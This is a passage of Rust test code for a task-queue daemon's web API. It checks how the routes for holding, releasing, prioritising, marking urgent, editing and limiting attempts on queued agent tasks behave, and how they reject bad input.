17745        let run = flow_run(RunStatus::Implementing, |s| {
17746            s.passes = vec![
17747                recorded_pass(0, Some(crate::run::PassEnd::Unrecorded)),
17748                recorded_pass(1, None),
17749            ];
17750        });
17751        let task = flow_task(&[RUN_X, RUN_X]);
17752        let h = task_history(&task, |_| Some(run.clone()));
17753        assert_eq!(h[0].exit, RunExit::Interrupted);
17754        assert_eq!(h[0].attempt, AttemptCost::Unknown);
17755        assert!(
17756            h[0].outcome.contains("without recording why"),
17757            "{}",
17758            h[0].outcome
17759        );
17760        assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
17761        assert_eq!(h[0].pass.as_ref().map(|p| p.end), Some("unrecorded"));
17762    }
17763
17764    #[test]
17765    fn a_record_from_before_passes_stays_unknown_even_next_to_recorded_ones() {
17766        use crate::queue::PassCost;
17767        // Three entries, but the run only began keeping passes at the last
17768        // two: the first is legacy and must not be given a cause.
17769        let run = flow_run(RunStatus::Implementing, |s| {
17770            s.passes = vec![
17771                recorded_pass(0, parked(upgrade_cause())),
17772                recorded_pass(1, None),
17773            ];
17774        });
17775        let mut task = flow_task(&[RUN_X, RUN_X, RUN_X]);
17776        task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
17777        let h = task_history(&task, |_| Some(run.clone()));
17778        assert!(h[0].pass.is_none());
17779        assert_eq!(h[0].exit, RunExit::Interrupted);
17780        assert_eq!(h[0].attempt, AttemptCost::Unknown);
17781        assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
17782        assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
17783        assert!(h[1].outcome.contains("upgrade 0.121.0"), "{}", h[1].outcome);
17784        // A run with no passes at all is entirely unknown.
17785        let legacy = flow_run(RunStatus::Implementing, |_| {});
17786        let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(legacy.clone()));
17787        assert!(h.iter().all(|v| v.pass.is_none()));
17788        assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
17789    }
17790
17791    #[test]
17792    fn a_resume_outside_the_task_loop_does_not_shift_the_recorded_passes() {
17793        use crate::queue::PassCost;
17794        // Pass 1 is a web-button resume: a pass of the run, no entry of the
17795        // task. The two entries are passes 0 and 2.
17796        let mut web = recorded_pass(1, parked(crate::run::ParkCause::Operator));
17797        web.task_entry = false;
17798        let run = flow_run(RunStatus::Implementing, |s| {
17799            s.passes = vec![
17800                recorded_pass(0, parked(upgrade_cause())),
17801                web.clone(),
17802                recorded_pass(2, None),
17803            ];
17804        });
17805        let mut task = flow_task(&[RUN_X, RUN_X]);
17806        task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
17807        let h = task_history(&task, |_| Some(run.clone()));
17808        assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
17809        assert!(!h[1].outcome.contains("not recorded"), "{}", h[1].outcome);
17810
17811        // Legacy first entry, then a web resume that parked for an upgrade,
17812        // then the daemon's pass: the legacy entry must stay unknown.
17813        let mut web0 = recorded_pass(0, parked(upgrade_cause()));
17814        web0.task_entry = false;
17815        let run = flow_run(RunStatus::Implementing, |s| {
17816            s.passes = vec![web0.clone(), recorded_pass(1, None)];
17817        });
17818        let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(run.clone()));
17819        assert!(h[0].pass.is_none());
17820        assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
17821        assert!(h[1].pass.is_some());
17822    }
17823
17824    #[tokio::test]
17825    async fn explicit_resumption_web_handler_matches_cli_without_a_listener() {
17826        let dir = tempfile::tempdir().unwrap();
17827        let queue = Queue::at(dir.path().join("queue"));
17828        let ui = Arc::new(Ui::new(
17829            queue.clone(),
17830            Questions::at(dir.path().join("questions")),
17831            Talks::at(dir.path().join("talks")),
17832            dir.path().join("runs"),
17833            dir.path().to_path_buf(),
17834            dir.path().to_path_buf(),
17835        ));
17836        let mut t = Task::new(
17837            "recover".into(),
17838            "Inspect".into(),
17839            PathBuf::from("."),
17840            Source::Human,
17841        );
17842        t.record_answer("Inspect then resume?".into(), "Inspect then wait".into());
17843        t.start("run-A".into());
17844        t.release_operator("choice", Some("resume-question"));
17845        t.resume_override = Some(crate::queue::OperatorResume {
17846            question_id: "resume-question".into(),
17847            at: jiff::Timestamp::now(),
17848            conductor_rehold: None,
17849            forced: true,
17850            pinned_run: Some("run-A".into()),
17851        });
17852        t.hold_machine(Some("inspection pending".into()));
17853        t.edit("recover".into(), "Reuse approved PR head".into())
17854            .unwrap();
17855        queue.put(&mut t).unwrap();
17856        let mut cli = t.clone();
17857        cli.release_operator("cli", None);
17858        let Json(reply) = queue_release(State(ui), Path(t.id.clone())).await.unwrap();
17859        let reloaded = queue.get(&t.id).unwrap();
17860        assert_eq!(reply.task.status, TaskStatus::Queued);
17861        assert!(reloaded.resume_override.is_none());
17862        assert_eq!(reloaded.answers, t.answers);
17863        let mut web = reloaded.resumption.unwrap();
17864        let cli = cli.resumption.unwrap();
17865        assert_eq!(web.source, "web");
17866        web.source = cli.source.clone();
17867        web.at = cli.at;
17868        assert_eq!(web, cli);
17869    }
17870
17871    #[tokio::test]
17872    async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
17873        let f = Fixture::start().await;
17874        let queue = f.queue();
17875        let mut task = Task::new(
17876            "spent".to_owned(),
17877            "Try again".to_owned(),
17878            PathBuf::from("/repo/magi"),
17879            Source::Human,
17880        );
17881        task.start("20260902-140502-bbbb".to_owned());
17882        task.fail("agent gave up", 9);
17883        queue.put(&mut task).expect("file the task");
17884
17885        let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
17886        assert_eq!(held.status, 200);
17887        assert_eq!(held.json()["status_str"], "held");
17888
17889        let released = f
17890            .post(&format!("/api/queue/{}/release", task.id), None)
17891            .await;
17892        assert_eq!(released.status, 200);
17893        assert_eq!(released.json()["status_str"], "queued");
17894        assert_eq!(released.json()["resumption"]["source"], "web");
17895        assert_eq!(released.json()["resumption"]["instruction"], "Try again");
17896        let mut cli = task.clone();
17897        cli.release_operator("cli", None);
17898        let web = queue.get(&task.id).unwrap().resumption.unwrap();
17899        let cli = cli.resumption.unwrap();
17900        assert_eq!(web.instruction, cli.instruction);
17901        assert_eq!(web.answers_through, cli.answers_through);
17902        assert_eq!(web.runs_through, cli.runs_through);
17903        assert_eq!(web.cleared_reason, cli.cleared_reason);
17904        assert_eq!(
17905            released.json()["attempts"],
17906            0,
17907            "release is a real second chance, not an instant re-hold"
17908        );
17909        assert_eq!(
17910            queue.get(&task.id).expect("reload").status,
17911            TaskStatus::Queued,
17912            "the change is on disk, not only in the reply"
17913        );
17914        assert!(
17915            !f.home
17916                .path()
17917                .join("queue")
17918                .join(format!("{}.lock", task.id))
17919                .exists(),
17920            "the claim the mutation took is released again"
17921        );
17922    }
17923
17924    #[tokio::test]
17925    async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
17926        let f = Fixture::start().await;
17927        let queue = f.queue();
17928        let mut task = Task::new(
17929            "busy".to_owned(),
17930            "Running right now".to_owned(),
17931            PathBuf::from("/repo/magi"),
17932            Source::Human,
17933        );
17934        queue.put(&mut task).expect("file the task");
17935        let _claim = queue.claim(&task.id).expect("stand in for the daemon");
17936
17937        let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
17938
17939        assert_eq!(res.status, 409);
17940        assert_eq!(
17941            queue.get(&task.id).expect("reload").status,
17942            TaskStatus::Queued,
17943            "the refused hold changed nothing"
17944        );
17945    }
17946
17947    #[tokio::test]
17948    async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
17949        let f = Fixture::start().await;
17950        let queue = f.queue();
17951        let mut task = Task::new(
17952            "waiting on the migration".to_owned(),
17953            "Do the thing".to_owned(),
17954            PathBuf::from("/repo/magi"),
17955            Source::Human,
17956        );
17957        queue.put(&mut task).expect("file the task");
17958
17959        let held = f
17960            .post(
17961                &format!("/api/queue/{}/hold", task.id),
17962                Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
17963            )
17964            .await;
17965        assert_eq!(held.status, 200, "{}", held.body);
17966        assert_eq!(held.json()["status_str"], "held");
17967        assert_eq!(
17968            held.json()["hold_reason"],
17969            "waiting for 20260101-000000-aaaa to land"
17970        );
17971
17972        let listed = f.get("/api/queue").await.json();
17973        assert_eq!(
17974            listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
17975            "the card reads the reason off the same list route"
17976        );
17977
17978        // A hold with no body at all must keep working - most holds have no
17979        // reason to give.
17980        let mut plain = Task::new(
17981            "no reason given".to_owned(),
17982            "Do another thing".to_owned(),
17983            PathBuf::from("/repo/magi"),
17984            Source::Human,
17985        );
17986        queue.put(&mut plain).expect("file the task");
17987        let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
17988        assert_eq!(held_plain.status, 200, "{}", held_plain.body);
17989        assert!(held_plain.json()["hold_reason"].is_null());
17990
17991        let released = f
17992            .post(&format!("/api/queue/{}/release", task.id), None)
17993            .await;
17994        assert_eq!(released.status, 200);
17995        assert!(
17996            released.json()["hold_reason"].is_null(),
17997            "a release must clear the reason so the next hold does not inherit it"
17998        );
17999    }
18000
18001    #[test]
18002    fn urgent_request_requires_a_boolean_and_rejects_unknown_fields() {
18003        for urgent in [true, false] {
18004            let body: UrgentBody =
18005                serde_json::from_value(serde_json::json!({ "urgent": urgent })).unwrap();
18006            assert_eq!(body.urgent, urgent);
18007        }
18008        for input in [
18009            r#"{}"#,
18010            r#"{"urgent":null}"#,
18011            r#"{"urgent":"true"}"#,
18012            r#"{"urgent":1}"#,
18013            r#"{"urgent":true,"extra":false}"#,
18014        ] {
18015            assert!(
18016                serde_json::from_str::<UrgentBody>(input).is_err(),
18017                "{input}"
18018            );
18019        }
18020    }
18021
18022    #[tokio::test]
18023    async fn urgent_handler_saves_and_rejects_claims_without_a_server() {
18024        let home = TempDir::new().unwrap();
18025        let q = Queue::at(home.path().join("queue"));
18026        let ui = Arc::new(Ui::new(
18027            q.clone(),
18028            Questions::at(home.path().join("questions")),
18029            Talks::at(home.path().join("talks")),
18030            home.path().join("runs"),
18031            home.path().into(),
18032            home.path().into(),
18033        ));
18034        let mut task = Task::new(
18035            "urgent handler".into(),
18036            "keep".into(),
18037            home.path().into(),
18038            Source::Human,
18039        );
18040        for status in [TaskStatus::Queued, TaskStatus::Held] {
18041            task.status = status;
18042            q.put(&mut task).unwrap();
18043            for urgent in [true, true, false, false] {
18044                let saved = queue_urgent(
18045                    State(Arc::clone(&ui)),
18046                    Path(task.short().into()),
18047                    Ok(Json(UrgentBody { urgent })),
18048                )
18049                .await
18050                .unwrap();
18051                assert_eq!(serde_json::to_value(saved.0).unwrap()["urgent"], urgent);
18052                assert_eq!(q.get(&task.id).unwrap().urgent, urgent);
18053            }
18054        }
18055        task.status = TaskStatus::Queued;
18056        q.put(&mut task).unwrap();
18057        let claim = q.claim(&task.id).unwrap();
18058        let error = queue_urgent(
18059            State(Arc::clone(&ui)),
18060            Path(task.id.clone()),
18061            Ok(Json(UrgentBody { urgent: true })),
18062        )
18063        .await
18064        .unwrap_err();
18065        assert_eq!(error.status, StatusCode::CONFLICT);
18066        assert!(error.message.contains("released"));
18067        drop(claim);
18068        for status in [
18069            TaskStatus::Running,
18070            TaskStatus::Done,
18071            TaskStatus::Failed,
18072            TaskStatus::Blocked,
18073            TaskStatus::Parked,
18074        ] {
18075            task.status = status;
18076            q.put(&mut task).unwrap();
18077            let error = queue_urgent(
18078                State(Arc::clone(&ui)),
18079                Path(task.id.clone()),
18080                Ok(Json(UrgentBody { urgent: false })),
18081            )
18082            .await
18083            .unwrap_err();
18084            assert_eq!(error.status, StatusCode::BAD_REQUEST);
18085            assert!(error.message.contains(status.as_str()));
18086        }
18087    }
18088
18089    #[tokio::test]
18090    async fn urgent_api_updates_preserves_and_validates_tasks() {
18091        let f = Fixture::start().await;
18092        let q = f.queue();
18093        let mut t = Task::new(
18094            "urgent API".into(),
18095            "unchanged".into(),
18096            PathBuf::from("/repo/magi"),
18097            Source::Human,
18098        );
18099        t.attempts = 2;
18100        t.priority = 9;
18101        t.interrupt = true;
18102        t.hold_reason = Some("waiting for approval".into());
18103        for status in [TaskStatus::Queued, TaskStatus::Held] {
18104            t.status = status;
18105            q.put(&mut t).unwrap();
18106            for urgent in [true, true, false, false] {
18107                let response = f
18108                    .post(
18109                        &format!("/api/queue/{}/urgent", t.short()),
18110                        Some(&format!("{{\"urgent\":{urgent}}}")),
18111                    )
18112                    .await;
18113                assert_eq!(response.status, 200, "{}", response.body);
18114                assert_eq!(response.json()["urgent"], urgent);
18115                let saved = q.get(&t.id).unwrap();
18116                let mut before = serde_json::to_value(&t).unwrap();
18117                let mut after = serde_json::to_value(saved).unwrap();
18118                before["urgent"] = urgent.into();
18119                before.as_object_mut().unwrap().remove("updated_at");
18120                after.as_object_mut().unwrap().remove("updated_at");
18121                assert_eq!(after, before);
18122            }
18123        }
18124        let route = format!("/api/queue/{}/urgent", t.id);
18125        for body in [
18126            r#"{}"#,
18127            r#"{"urgent":null}"#,
18128            r#"{"urgent":"true"}"#,
18129            r#"{"urgent":1}"#,
18130            r#"{"urgent":true,"extra":false}"#,
18131            "{",
18132        ] {
18133            assert_eq!(f.post(&route, Some(body)).await.status, 400);
18134        }
18135        t.status = TaskStatus::Queued;
18136        q.put(&mut t).unwrap();
18137        let claim = q.claim(&t.id).unwrap();
18138        let response = f.post(&route, Some(r#"{"urgent":true}"#)).await;
18139        assert_eq!(response.status, 409, "{}", response.body);
18140        assert!(!q.get(&t.id).unwrap().urgent);
18141        drop(claim);
18142        for status in [
18143            TaskStatus::Running,
18144            TaskStatus::Done,
18145            TaskStatus::Failed,
18146            TaskStatus::Blocked,
18147            TaskStatus::Parked,
18148        ] {
18149            t.status = status;
18150            q.put(&mut t).unwrap();
18151            for urgent in [true, false] {
18152                let response = f
18153                    .post(&route, Some(&format!("{{\"urgent\":{urgent}}}")))
18154                    .await;
18155                assert_eq!(response.status, 400, "{}", response.body);
18156                assert!(response.body.contains(status.as_str()));
18157                assert!(response.body.contains("queued or held"));
18158                assert!(!q.get(&t.id).unwrap().urgent);
18159            }
18160        }
18161        assert_eq!(
18162            f.post("/api/queue/missing/urgent", Some(r#"{"urgent":true}"#))
18163                .await
18164                .status,
18165            404
18166        );
18167    }
18168
18169    #[tokio::test]
18170    async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
18171        let f = Fixture::start().await;
18172        let queue = f.queue();
18173        let mut older = Task::new(
18174            "filed first".to_owned(),
18175            "x".to_owned(),
18176            PathBuf::from("/repo/magi"),
18177            Source::Human,
18178        );
18179        older.id = "20260101-000001-aaaa".to_owned();
18180        let mut newer = Task::new(
18181            "filed second".to_owned(),
18182            "x".to_owned(),
18183            PathBuf::from("/repo/magi"),
18184            Source::Human,
18185        );
18186        newer.id = "20260101-000002-bbbb".to_owned();
18187        queue.put(&mut older).expect("file older");
18188        queue.put(&mut newer).expect("file newer");
18189
18190        // Equal priority: the newer task leads, the same order the old
18191        // newest-first `list()` already gave every equal-priority queue.
18192        let before = f.get("/api/queue").await.json();
18193        assert_eq!(before[0]["id"], newer.id);
18194        assert_eq!(before[1]["id"], older.id);
18195
18196        // Raising the *older* task is the meaningful case: it can only lead
18197        // now because its priority says so, not because it happens to be
18198        // newest.
18199        let raised = f
18200            .post(
18201                &format!("/api/queue/{}/priority", older.id),
18202                Some(r#"{"priority":10}"#),
18203            )
18204            .await;
18205        assert_eq!(raised.status, 200, "{}", raised.body);
18206        assert_eq!(raised.json()["priority"], 10);
18207
18208        let after = f.get("/api/queue").await.json();
18209        let names: Vec<&str> = after
18210            .as_array()
18211            .unwrap()
18212            .iter()
18213            .map(|t| t["id"].as_str().unwrap())
18214            .collect();
18215        // Highest priority first, which is the order next_runnable and
18216        // `magi task list` both use - GET /api/queue must agree with it
18217        // immediately, not just once the loop claims the task.
18218        assert_eq!(names[0], older.id, "the raised task now sorts first");
18219    }
18220
18221    #[tokio::test]
18222    async fn row_priorities_follow_dispatch_order_and_preserve_upgrade_lane() {
18223        let f = Fixture::start().await;
18224        let queue = f.queue();
18225        let mut tasks = Vec::new();
18226        for id in [
18227            "20260101-000001-aaaa",
18228            "20260101-000002-bbbb",
18229            "20260101-000003-cccc",
18230        ] {
18231            let mut task = Task::new(
18232                id.into(),
18233                "x".into(),
18234                PathBuf::from("/repo/magi"),
18235                Source::Human,
18236            );
18237            task.id = id.into();
18238            queue.put(&mut task).unwrap();
18239            tasks.push(task);
18240        }
18241        assert_eq!(
18242            queue.next_runnable().unwrap().id,
18243            tasks[0].id,
18244            "equal priorities use ascending id"
18245        );
18246        let route = format!("/api/queue/{}/priority", tasks[2].id);
18247        assert_eq!(f.post(&route, Some(r#"{"priority":1}"#)).await.status, 200);
18248        assert_eq!(queue.next_runnable().unwrap().id, tasks[2].id);
18249        tasks[1].start("upgrade-run".into());
18250        tasks[1].park("upgrade");
18251        tasks[1].record_pass_at(
18252            "upgrade-run",
18253            0,
18254            Some("2026-01-01T00:00:00Z".parse().unwrap()),
18255            1,
18256            Some(crate::run::ParkCause::Upgrade {
18257                from: "old".into(),
18258                to: None,
18259            }),
18260        );
18261        queue.put(&mut tasks[1]).unwrap();
18262        let rows = f.get("/api/queue").await.json();
18263        let upgrade = rows
18264            .as_array()
18265            .unwrap()
18266            .iter()
18267            .find(|row| row["id"] == tasks[1].id)
18268            .unwrap();
18269        assert_eq!(upgrade["upgrade_resume_at"], "2026-01-01T00:00:00Z");
18270        assert_eq!(queue.next_runnable().unwrap().id, tasks[1].id);
18271        tasks[2] = queue.get(&tasks[2].id).unwrap();
18272        tasks[2].start("running-run".into());
18273        queue.put(&mut tasks[2]).unwrap();
18274        assert_eq!(f.post(&route, Some(r#"{"priority":2}"#)).await.status, 400);
18275        assert_eq!(queue.get(&tasks[2].id).unwrap().priority, 1);
18276    }
18277
18278    #[tokio::test]
18279    async fn task_attempt_limit_api_persists_validates_and_refuses_claims() {
18280        let dir = TempDir::new().unwrap();
18281        let q = Queue::at(dir.path().join("queue"));
18282        let ui = Arc::new(Ui::new(
18283            q.clone(),
18284            Questions::at(dir.path().join("questions")),
18285            Talks::at(dir.path().join("talks")),
18286            dir.path().join("runs"),
18287            dir.path().to_path_buf(),
18288            dir.path().to_path_buf(),
18289        ));
18290        let mut t = Task::new(
18291            "budget".into(),
18292            "keep".into(),
18293            dir.path().into(),
18294            Source::Human,
18295        );
18296        t.attempts = 2;
18297        t.runs.push("prior-run".into());
18298        t.hold_manual(Some("waiting".into()));
18299        q.put(&mut t).unwrap();
18300        let change = |value| {
18301            queue_attempt_limit(
18302                State(ui.clone()),
18303                Path(t.id.clone()),
18304                Ok(Json(AttemptLimitBody {
18305                    attempt_limit: value,
18306                })),
18307            )
18308        };
18309        for value in [
18310            serde_json::json!(3),
18311            serde_json::Value::Null,
18312            serde_json::json!(1),
18313        ] {
18314            let response = change(value.clone()).await.unwrap();
18315            assert_eq!(
18316                serde_json::to_value(response.0).unwrap()["attempt_limit"],
18317                value
18318            );
18319            let saved = q.get(&t.id).unwrap();
18320            assert_eq!(
18321                serde_json::to_value(&saved).unwrap()["attempt_limit"],
18322                value
18323            );
18324            assert_eq!(saved.status, TaskStatus::Held);
18325            assert_eq!(saved.attempts, t.attempts);
18326            assert_eq!(saved.runs, t.runs);
18327            assert_eq!(saved.hold_reason, t.hold_reason);
18328            let detail = task_detail(State(ui.clone()), Path(t.id.clone()))
18329                .await
18330                .unwrap()
18331                .0;
18332            assert_eq!(detail.max_attempts, saved.effective_attempt_limit(2));
18333            assert_eq!(detail.flow.max_attempts, detail.max_attempts);
18334            let outcome = task_outcome(&saved, "prior-run", 2, |_| None);
18335            assert_eq!(outcome.max_attempts, detail.max_attempts);
18336        }
18337        for value in [
18338            serde_json::json!(0),
18339            serde_json::json!(-1),
18340            serde_json::json!(1.5),
18341            serde_json::json!("3"),
18342            serde_json::json!(true),
18343        ] {
18344            assert_eq!(
18345                change(value).await.err().unwrap().status,
18346                StatusCode::BAD_REQUEST
18347            );
18348        }
18349        assert!(serde_json::from_str::<AttemptLimitBody>("{}").is_err());
18350        let claim = q.claim(&t.id).unwrap();
18351        assert_eq!(
18352            change(serde_json::json!(4)).await.err().unwrap().status,
18353            StatusCode::CONFLICT
18354        );
18355        drop(claim);
18356        for status in [
18357            TaskStatus::Running,
18358            TaskStatus::Done,
18359            TaskStatus::Failed,
18360            TaskStatus::Blocked,
18361            TaskStatus::Parked,
18362        ] {
18363            let mut stored = q.get(&t.id).unwrap();
18364            stored.status = status;
18365            q.put(&mut stored).unwrap();
18366            assert_eq!(
18367                change(serde_json::json!(4)).await.err().unwrap().status,
18368                StatusCode::BAD_REQUEST
18369            );
18370            assert_eq!(q.get(&t.id).unwrap().attempt_limit.unwrap().get(), 1);
18371        }
18372        let mut stored = q.get(&t.id).unwrap();
18373        stored.status = TaskStatus::Queued;
18374        q.put(&mut stored).unwrap();
18375        let _ = change(serde_json::Value::Null).await.unwrap();
18376        assert_eq!(q.get(&t.id).unwrap().attempt_limit, None);
18377    }
18378
18379    #[tokio::test]
18380    async fn task_implementers_api_persists_and_refuses_claimed_or_finished_tasks() {
18381        let dir = TempDir::new().unwrap();
18382        let repo = dir.path().join("repo");
18383        std::fs::create_dir(&repo).unwrap();
18384        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).unwrap();
18385        let q = Queue::at(dir.path().join("queue"));
18386        let ui = Arc::new(Ui::new(
18387            q.clone(),
18388            Questions::at(dir.path().join("questions")),
18389            Talks::at(dir.path().join("talks")),
18390            dir.path().join("runs"),
18391            dir.path().to_path_buf(),
18392            repo.clone(),
18393        ));
18394        let mut t = Task::new(
18395            "seats".into(),
18396            "keep instruction".into(),
18397            repo,
18398            Source::Human,
18399        );
18400        t.runs.push("prior-run".into());
18401        t.hold_manual(Some("waiting".into()));
18402        q.put(&mut t).unwrap();
18403        let change = |count| {
18404            queue_implementers(
18405                State(ui.clone()),
18406                Path(t.id.clone()),
18407                Ok(Json(ImplementersBody {
18408                    implementers: count,
18409                })),
18410            )
18411        };
18412        for count in [2, 1, 2] {
18413            let response = change(count).await.unwrap();
18414            assert_eq!(response.0.task.implementers(), Some(usize::from(count)));
18415            let saved = q.get(&t.id).unwrap();
18416            assert_eq!(saved.implementers(), Some(usize::from(count)));
18417            assert_eq!(saved.runs, t.runs);
18418            assert_eq!(saved.instruction, t.instruction);
18419        }
18420        for count in [0, 4] {
18421            assert_eq!(
18422                change(count).await.err().unwrap().status,
18423                StatusCode::BAD_REQUEST
18424            );
18425        }
18426        assert!(serde_json::from_str::<ImplementersBody>(r#"{"implementers":256}"#).is_err());
18427        let claim = q.claim(&t.id).unwrap();
18428        assert_eq!(change(1).await.err().unwrap().status, StatusCode::CONFLICT);
18429        drop(claim);
18430        for status in [
18431            TaskStatus::Running,
18432            TaskStatus::Done,
18433            TaskStatus::Failed,
18434            TaskStatus::Blocked,
18435            TaskStatus::Parked,
18436        ] {
18437            let mut stored = q.get(&t.id).unwrap();
18438            stored.status = status;
18439            q.put(&mut stored).unwrap();
18440            assert_eq!(
18441                change(1).await.err().unwrap().status,
18442                StatusCode::BAD_REQUEST
18443            );
18444            assert_eq!(q.get(&t.id).unwrap().implementers(), Some(2));
18445        }
18446    }
18447
18448    #[tokio::test]
18449    async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
18450        let f = Fixture::start().await;
18451        let queue = f.queue();
18452        let mut task = Task::new(
18453            "in flight".to_owned(),
18454            "x".to_owned(),
18455            PathBuf::from("/repo/magi"),
18456            Source::Human,
18457        );
18458        task.start("20260902-140502-bbbb".to_owned());
18459        queue.put(&mut task).expect("file the task");
18460
18461        let res = f
18462            .post(
18463                &format!("/api/queue/{}/priority", task.id),
18464                Some(r#"{"priority":9}"#),
18465            )
18466            .await;
18467        assert_eq!(res.status, 400, "{}", res.body);
18468        assert!(
18469            res.json()["error"]
18470                .as_str()
18471                .is_some_and(|e| e.contains("running")),
18472            "{}",
18473            res.body
18474        );
18475        assert_eq!(
18476            queue.get(&task.id).expect("reload").priority,
18477            0,
18478            "the refused write must not partially apply"
18479        );
18480    }
18481
18482    #[tokio::test]
18483    async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
18484        let f = Fixture::start().await;
18485        let queue = f.queue();
18486        let mut task = Task::new(
18487            "old title".to_owned(),
18488            "old instruction".to_owned(),
18489            PathBuf::from("/repo/magi"),
18490            Source::Agent {
18491                run: "20260101-000000-beef".to_owned(),
18492                node: "implement".to_owned(),
18493            },
18494        );
18495        task.runs.push("20260101-000000-beef".to_owned());
18496        queue.put(&mut task).expect("file the task");
18497        let created_at = task.created_at;
18498
18499        let edited = f
18500            .post(
18501                &format!("/api/queue/{}/edit", task.id),
18502                Some(r#"{"title":"new title","instruction":"new instruction"}"#),
18503            )
18504            .await;
18505        assert_eq!(edited.status, 200, "{}", edited.body);
18506        let body = edited.json();
18507        assert_eq!(body["title"], "new title");
18508        assert_eq!(body["instruction"], "new instruction");
18509        assert_eq!(body["id"], task.id, "editing must not mint a new id");
18510        assert_eq!(body["created_at"], created_at.to_string());
18511        assert_eq!(
18512            body["source"]["kind"], "agent",
18513            "editing a task an agent filed must not turn it human: {body}"
18514        );
18515        assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
18516
18517        let reloaded = queue.get(&task.id).expect("reload");
18518        assert_eq!(reloaded.title, "new title");
18519        assert_eq!(reloaded.instruction, "new instruction");
18520    }
18521
18522    #[tokio::test]
18523    async fn editing_in_a_duplicate_is_a_409_naming_the_match_until_forced() {
18524        // The judge is an agent now: a repo whose only agent answers
18525        // "duplicate" stands in for it, so the refusal is the judge's.
18526        let tmp = TempDir::new().expect("tempdir");
18527        let repo = tmp.path().join("repo");
18528        std::fs::create_dir_all(&repo).expect("repo dir");
18529        let judge = MOCK_AGENT_TOML.replace(
18530            "printf ok",
18531            r#"printf '{\"duplicate\":true,\"reason\":\"same branch\"}'"#,
18532        );
18533        std::fs::write(repo.join("magi.toml"), judge).expect("write magi.toml");
18534        let f = Fixture::with_repo(repo.clone()).await;
18535        let queue = f.queue();
18536        let mut owner = Task::new(
18537            "owner".to_owned(),
18538            "review it".to_owned(),
18539            repo.clone(),
18540            Source::Human,
18541        );
18542        owner.review_branch = Some("magi/ab12/A".to_owned());
18543        queue.put(&mut owner).expect("file the owner");
18544        let mut task = Task::new(
18545            "draft".to_owned(),
18546            "old".to_owned(),
18547            repo.clone(),
18548            Source::Human,
18549        );
18550        queue.put(&mut task).expect("file the draft");
18551        let url = format!("/api/queue/{}/edit", task.id);
18552
18553        let refused = f
18554            .post(
18555                &url,
18556                Some(r#"{"title":"t","instruction":"land magi/ab12/A"}"#),
18557            )
18558            .await;
18559        assert_eq!(refused.status, 409, "{}", refused.body);
18560        let msg = refused.json()["error"]
18561            .as_str()
18562            .unwrap_or_default()
18563            .to_owned();
18564        assert!(
18565            msg.contains("magi/ab12/A") && msg.contains("force"),
18566            "{msg}"
18567        );
18568        assert_eq!(queue.get(&task.id).expect("reload").instruction, "old");
18569
18570        let forced = f
18571            .post(
18572                &url,
18573                Some(r#"{"title":"t","instruction":"land magi/ab12/A","force":true}"#),
18574            )
18575            .await;
18576        assert_eq!(forced.status, 200, "{}", forced.body);
18577    }
18578
18579    #[tokio::test]
18580    async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
18581        let f = Fixture::start().await;
18582        let queue = f.queue();
18583        let mut task = Task::new(
18584            "in flight".to_owned(),
18585            "do not touch".to_owned(),
18586            PathBuf::from("/repo/magi"),
18587            Source::Human,
18588        );
18589        task.start("20260902-140502-bbbb".to_owned());
18590        queue.put(&mut task).expect("file the task");
18591
18592        let res = f
18593            .post(
18594                &format!("/api/queue/{}/edit", task.id),
18595                Some(r#"{"title":"x","instruction":"y"}"#),
18596            )
18597            .await;
18598        assert_eq!(res.status, 400, "{}", res.body);
18599        assert!(
18600            res.json()["error"]
18601                .as_str()
18602                .is_some_and(|e| e.contains("running")),
18603            "{}",
18604            res.body
18605        );
18606        assert_eq!(
18607            queue.get(&task.id).expect("reload").instruction,
18608            "do not touch",
18609            "the refused edit must not change the file"
18610        );
18611    }
18612
18613    #[tokio::test]
18614    async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
18615        let f = Fixture::start().await;
18616        let queue = f.queue();
18617        let mut task = Task::new(
18618            "busy".to_owned(),
18619            "Running right now".to_owned(),
18620            PathBuf::from("/repo/magi"),
18621            Source::Human,
18622        );
18623        queue.put(&mut task).expect("file the task");
18624        let _claim = queue.claim(&task.id).expect("stand in for the daemon");
18625
18626        let priority = f
18627            .post(
18628                &format!("/api/queue/{}/priority", task.id),
18629                Some(r#"{"priority":9}"#),
18630            )
18631            .await;
18632        assert_eq!(priority.status, 409, "{}", priority.body);
18633
18634        let edit = f
18635            .post(
18636                &format!("/api/queue/{}/edit", task.id),
18637                Some(r#"{"title":"x","instruction":"y"}"#),
18638            )
18639            .await;
18640        assert_eq!(edit.status, 409, "{}", edit.body);
18641    }
18642
18643    #[tokio::test]
18644    async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
18645        let f = Fixture::start().await;
18646        let queue = f.queue();
18647        let mut task = Task::new(
18648            "shipped by hand".to_owned(),
18649            "merged outside the loop".to_owned(),
18650            PathBuf::from("/repo/magi"),
18651            Source::Agent {
18652                run: "20260101-000000-b455".to_owned(),
18653                node: "implement".to_owned(),
18654            },
18655        );
18656        task.runs.push("20260101-000000-b455".to_owned());
18657        task.runs.push("20260101-000000-9af4".to_owned());
